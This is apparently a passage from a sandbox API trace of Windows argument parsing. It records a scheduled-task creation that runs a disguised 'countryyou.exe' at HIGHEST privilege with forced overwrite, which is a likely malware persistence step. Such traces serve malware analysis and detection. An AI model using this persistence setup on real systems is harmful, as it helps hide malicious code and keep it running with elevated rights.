[0073.622] lstrlenW (lpString="tr") returned 2 [0073.622] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.622] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.622] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.622] lstrlenW (lpString="|end|") returned 5 [0073.622] lstrlenW (lpString="|tr|") returned 4 [0073.622] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0073.622] SetLastError (dwErrCode=0x490) [0073.622] lstrlenW (lpString="showsid") returned 7 [0073.622] lstrlenW (lpString="showsid") returned 7 [0073.622] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.622] lstrlenW (lpString="tr") returned 2 [0073.622] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.622] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.623] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|tr|") returned 4 [0073.623] lstrlenW (lpString="|showsid|") returned 9 [0073.623] lstrlenW (lpString="|tr|") returned 4 [0073.623] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0073.623] SetLastError (dwErrCode=0x490) [0073.623] SetLastError (dwErrCode=0x490) [0073.623] SetLastError (dwErrCode=0x0) [0073.623] lstrlenW (lpString="/tr") returned 3 [0073.623] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0073.623] SetLastError (dwErrCode=0x490) [0073.623] SetLastError (dwErrCode=0x0) [0073.623] lstrlenW (lpString="/tr") returned 3 [0073.623] GetProcessHeap () returned 0x100000 [0073.623] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8) returned 0x11c490 [0073.623] GetProcessHeap () returned 0x100000 [0073.623] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11ceb0 [0073.623] SetLastError (dwErrCode=0x0) [0073.623] SetLastError (dwErrCode=0x0) [0073.623] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.623] lstrlenW (lpString="-/") returned 2 [0073.623] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0073.623] SetLastError (dwErrCode=0x490) [0073.624] SetLastError (dwErrCode=0x490) [0073.624] SetLastError (dwErrCode=0x0) [0073.624] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.624] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0073.624] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.624] GetProcessHeap () returned 0x100000 [0073.624] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11c4b0 [0073.624] _memicmp (_Buf1=0x11c4b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.624] GetProcessHeap () returned 0x100000 [0073.624] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0xe) returned 0x11c4d0 [0073.624] GetProcessHeap () returned 0x100000 [0073.624] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x18) returned 0x11d680 [0073.624] _memicmp (_Buf1=0x11d680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.624] GetProcessHeap () returned 0x100000 [0073.624] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x90) returned 0x11de50 [0073.657] SetLastError (dwErrCode=0x7a) [0073.657] SetLastError (dwErrCode=0x0) [0073.657] SetLastError (dwErrCode=0x0) [0073.657] lstrlenW (lpString="'C") returned 2 [0073.657] lstrlenW (lpString="-/") returned 2 [0073.657] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0073.657] SetLastError (dwErrCode=0x490) [0073.657] SetLastError (dwErrCode=0x490) [0073.657] SetLastError (dwErrCode=0x0) [0073.658] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.658] GetProcessHeap () returned 0x100000 [0073.658] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8e) returned 0x11def0 [0073.658] GetProcessHeap () returned 0x100000 [0073.658] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cee0 [0073.658] SetLastError (dwErrCode=0x0) [0073.658] SetLastError (dwErrCode=0x0) [0073.658] lstrlenW (lpString="/rl") returned 3 [0073.658] lstrlenW (lpString="-/") returned 2 [0073.658] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.658] lstrlenW (lpString="?") returned 1 [0073.658] lstrlenW (lpString="?") returned 1 [0073.658] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.658] lstrlenW (lpString="rl") returned 2 [0073.658] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.658] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.658] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.658] lstrlenW (lpString="|?|") returned 3 [0073.658] lstrlenW (lpString="|rl|") returned 4 [0073.658] SetLastError (dwErrCode=0x490) [0073.658] lstrlenW (lpString="create") returned 6 [0073.658] lstrlenW (lpString="create") returned 6 [0073.658] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.658] lstrlenW (lpString="rl") returned 2 [0073.658] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.658] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.659] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.659] lstrlenW (lpString="|create|") returned 8 [0073.659] lstrlenW (lpString="|rl|") returned 4 [0073.659] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0073.659] SetLastError (dwErrCode=0x490) [0073.659] lstrlenW (lpString="delete") returned 6 [0073.659] lstrlenW (lpString="delete") returned 6 [0073.659] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.659] lstrlenW (lpString="rl") returned 2 [0073.659] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.659] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.659] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.659] lstrlenW (lpString="|delete|") returned 8 [0073.659] lstrlenW (lpString="|rl|") returned 4 [0073.659] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0073.659] SetLastError (dwErrCode=0x490) [0073.659] lstrlenW (lpString="query") returned 5 [0073.659] lstrlenW (lpString="query") returned 5 [0073.659] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.659] lstrlenW (lpString="rl") returned 2 [0073.659] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.659] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.659] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.660] lstrlenW (lpString="|query|") returned 7 [0073.660] lstrlenW (lpString="|rl|") returned 4 [0073.660] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0073.660] SetLastError (dwErrCode=0x490) [0073.660] lstrlenW (lpString="change") returned 6 [0073.660] lstrlenW (lpString="change") returned 6 [0073.660] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.660] lstrlenW (lpString="rl") returned 2 [0073.660] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.660] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.660] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.660] lstrlenW (lpString="|change|") returned 8 [0073.660] lstrlenW (lpString="|rl|") returned 4 [0073.660] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0073.660] SetLastError (dwErrCode=0x490) [0073.660] lstrlenW (lpString="run") returned 3 [0073.660] lstrlenW (lpString="run") returned 3 [0073.660] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.660] lstrlenW (lpString="rl") returned 2 [0073.660] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.660] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.660] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.660] lstrlenW (lpString="|run|") returned 5 [0073.660] lstrlenW (lpString="|rl|") returned 4 [0073.661] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0073.661] SetLastError (dwErrCode=0x490) [0073.661] lstrlenW (lpString="end") returned 3 [0073.661] lstrlenW (lpString="end") returned 3 [0073.661] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.661] lstrlenW (lpString="rl") returned 2 [0073.661] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.661] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.661] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.661] lstrlenW (lpString="|end|") returned 5 [0073.661] lstrlenW (lpString="|rl|") returned 4 [0073.661] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0073.661] SetLastError (dwErrCode=0x490) [0073.661] lstrlenW (lpString="showsid") returned 7 [0073.661] lstrlenW (lpString="showsid") returned 7 [0073.661] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.661] lstrlenW (lpString="rl") returned 2 [0073.661] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.661] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.661] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|rl|") returned 4 [0073.661] lstrlenW (lpString="|showsid|") returned 9 [0073.661] lstrlenW (lpString="|rl|") returned 4 [0073.661] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0073.661] SetLastError (dwErrCode=0x490) [0073.661] SetLastError (dwErrCode=0x490) [0073.661] SetLastError (dwErrCode=0x0) [0073.661] lstrlenW (lpString="/rl") returned 3 [0073.662] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0073.662] SetLastError (dwErrCode=0x490) [0073.662] SetLastError (dwErrCode=0x0) [0073.662] lstrlenW (lpString="/rl") returned 3 [0073.662] GetProcessHeap () returned 0x100000 [0073.662] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x8) returned 0x11df90 [0073.662] GetProcessHeap () returned 0x100000 [0073.662] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf10 [0073.662] SetLastError (dwErrCode=0x0) [0073.662] SetLastError (dwErrCode=0x0) [0073.662] lstrlenW (lpString="HIGHEST") returned 7 [0073.662] lstrlenW (lpString="-/") returned 2 [0073.662] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0073.662] SetLastError (dwErrCode=0x490) [0073.662] SetLastError (dwErrCode=0x490) [0073.662] SetLastError (dwErrCode=0x0) [0073.662] lstrlenW (lpString="HIGHEST") returned 7 [0073.662] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0073.662] SetLastError (dwErrCode=0x490) [0073.662] SetLastError (dwErrCode=0x0) [0073.662] lstrlenW (lpString="HIGHEST") returned 7 [0073.662] GetProcessHeap () returned 0x100000 [0073.662] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x10) returned 0x11d6a0 [0073.662] GetProcessHeap () returned 0x100000 [0073.662] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf40 [0073.662] SetLastError (dwErrCode=0x0) [0073.662] SetLastError (dwErrCode=0x0) [0073.662] lstrlenW (lpString="/f") returned 2 [0073.663] lstrlenW (lpString="-/") returned 2 [0073.663] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.663] lstrlenW (lpString="?") returned 1 [0073.663] lstrlenW (lpString="?") returned 1 [0073.663] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.663] lstrlenW (lpString="f") returned 1 [0073.663] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.663] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|?|") returned 3 [0073.663] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.663] lstrlenW (lpString="|?|") returned 3 [0073.663] lstrlenW (lpString="|f|") returned 3 [0073.663] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0073.663] SetLastError (dwErrCode=0x490) [0073.663] lstrlenW (lpString="create") returned 6 [0073.663] lstrlenW (lpString="create") returned 6 [0073.663] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.663] lstrlenW (lpString="f") returned 1 [0073.663] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.663] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|create|") returned 8 [0073.663] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.663] lstrlenW (lpString="|create|") returned 8 [0073.663] lstrlenW (lpString="|f|") returned 3 [0073.663] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0073.663] SetLastError (dwErrCode=0x490) [0073.664] lstrlenW (lpString="delete") returned 6 [0073.664] lstrlenW (lpString="delete") returned 6 [0073.664] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.664] lstrlenW (lpString="f") returned 1 [0073.664] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.664] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|delete|") returned 8 [0073.664] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.664] lstrlenW (lpString="|delete|") returned 8 [0073.664] lstrlenW (lpString="|f|") returned 3 [0073.664] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0073.664] SetLastError (dwErrCode=0x490) [0073.664] lstrlenW (lpString="query") returned 5 [0073.664] lstrlenW (lpString="query") returned 5 [0073.664] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.664] lstrlenW (lpString="f") returned 1 [0073.664] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.664] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|query|") returned 7 [0073.664] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.664] lstrlenW (lpString="|query|") returned 7 [0073.664] lstrlenW (lpString="|f|") returned 3 [0073.664] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0073.664] SetLastError (dwErrCode=0x490) [0073.664] lstrlenW (lpString="change") returned 6 [0073.664] lstrlenW (lpString="change") returned 6 [0073.664] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.665] lstrlenW (lpString="f") returned 1 [0073.665] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.665] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|change|") returned 8 [0073.665] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.665] lstrlenW (lpString="|change|") returned 8 [0073.665] lstrlenW (lpString="|f|") returned 3 [0073.665] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0073.665] SetLastError (dwErrCode=0x490) [0073.665] lstrlenW (lpString="run") returned 3 [0073.665] lstrlenW (lpString="run") returned 3 [0073.665] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.665] lstrlenW (lpString="f") returned 1 [0073.665] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.665] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|run|") returned 5 [0073.665] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.665] lstrlenW (lpString="|run|") returned 5 [0073.665] lstrlenW (lpString="|f|") returned 3 [0073.665] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0073.665] SetLastError (dwErrCode=0x490) [0073.665] lstrlenW (lpString="end") returned 3 [0073.665] lstrlenW (lpString="end") returned 3 [0073.665] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.665] lstrlenW (lpString="f") returned 1 [0073.665] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.666] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|end|") returned 5 [0073.666] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.666] lstrlenW (lpString="|end|") returned 5 [0073.666] lstrlenW (lpString="|f|") returned 3 [0073.666] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0073.666] SetLastError (dwErrCode=0x490) [0073.666] lstrlenW (lpString="showsid") returned 7 [0073.666] lstrlenW (lpString="showsid") returned 7 [0073.666] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.666] lstrlenW (lpString="f") returned 1 [0073.666] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.666] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|showsid|") returned 9 [0073.666] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbefd8 | out: _Buffer="|f|") returned 3 [0073.666] lstrlenW (lpString="|showsid|") returned 9 [0073.666] lstrlenW (lpString="|f|") returned 3 [0073.666] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0073.666] SetLastError (dwErrCode=0x490) [0073.666] SetLastError (dwErrCode=0x490) [0073.666] SetLastError (dwErrCode=0x0) [0073.666] lstrlenW (lpString="/f") returned 2 [0073.666] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0073.666] SetLastError (dwErrCode=0x490) [0073.666] SetLastError (dwErrCode=0x0) [0073.666] lstrlenW (lpString="/f") returned 2 [0073.666] GetProcessHeap () returned 0x100000 [0073.666] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x6) returned 0x11dfb0 [0073.666] GetProcessHeap () returned 0x100000 [0073.667] RtlAllocateHeap (HeapHandle=0x100000, Flags=0xc, Size=0x20) returned 0x11cf70 [0073.667] SetLastError (dwErrCode=0x0) [0073.667] GetProcessHeap () returned 0x100000 [0073.667] GetProcessHeap () returned 0x100000 [0073.667] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c360) returned 1 [0073.667] GetProcessHeap () returned 0x100000 [0073.667] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c360) returned 0x8 [0073.667] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c360 | out: hHeap=0x100000) returned 1 [0073.667] GetProcessHeap () returned 0x100000 [0073.667] GetProcessHeap () returned 0x100000 [0073.667] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd90) returned 1 [0073.667] GetProcessHeap () returned 0x100000 [0073.667] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cd90) returned 0x20 [0073.667] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cd90 | out: hHeap=0x100000) returned 1 [0073.667] GetProcessHeap () returned 0x100000 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3f0) returned 1 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c3f0) returned 0x18 [0073.668] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c3f0 | out: hHeap=0x100000) returned 1 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdc0) returned 1 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cdc0) returned 0x20 [0073.668] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdc0 | out: hHeap=0x100000) returned 1 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] GetProcessHeap () returned 0x100000 [0073.668] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c410) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c410) returned 0x8 [0073.669] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c410 | out: hHeap=0x100000) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdf0) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11cdf0) returned 0x20 [0073.669] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11cdf0 | out: hHeap=0x100000) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c430) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c430) returned 0xe [0073.669] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c430 | out: hHeap=0x100000) returned 1 [0073.669] GetProcessHeap () returned 0x100000 [0073.669] GetProcessHeap () returned 0x100000 [0073.670] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce20) returned 1 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce20) returned 0x20 [0073.670] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce20 | out: hHeap=0x100000) returned 1 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c450) returned 1 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c450) returned 0x8 [0073.670] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c450 | out: hHeap=0x100000) returned 1 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce50) returned 1 [0073.670] GetProcessHeap () returned 0x100000 [0073.670] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce50) returned 0x20 [0073.671] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce50 | out: hHeap=0x100000) returned 1 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c470) returned 1 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c470) returned 0x4 [0073.671] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c470 | out: hHeap=0x100000) returned 1 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce80) returned 1 [0073.671] GetProcessHeap () returned 0x100000 [0073.671] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ce80) returned 0x20 [0073.672] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ce80 | out: hHeap=0x100000) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11c490) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11c490) returned 0x8 [0073.672] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11c490 | out: hHeap=0x100000) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11ceb0) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11ceb0) returned 0x20 [0073.672] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11ceb0 | out: hHeap=0x100000) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11def0) returned 1 [0073.672] GetProcessHeap () returned 0x100000 [0073.672] RtlSizeHeap (HeapHandle=0x100000, Flags=0x0, MemoryPointer=0x11def0) returned 0x8e [0073.673] HeapFree (in: hHeap=0x100000, dwFlags=0x0, lpMem=0x11def0 | out: hHeap=0x100000) returned 1 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] GetProcessHeap () returned 0x100000 [0073.673] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11cee0) returned 1 [0073.673] GetProcessHeap () returned 0x100000 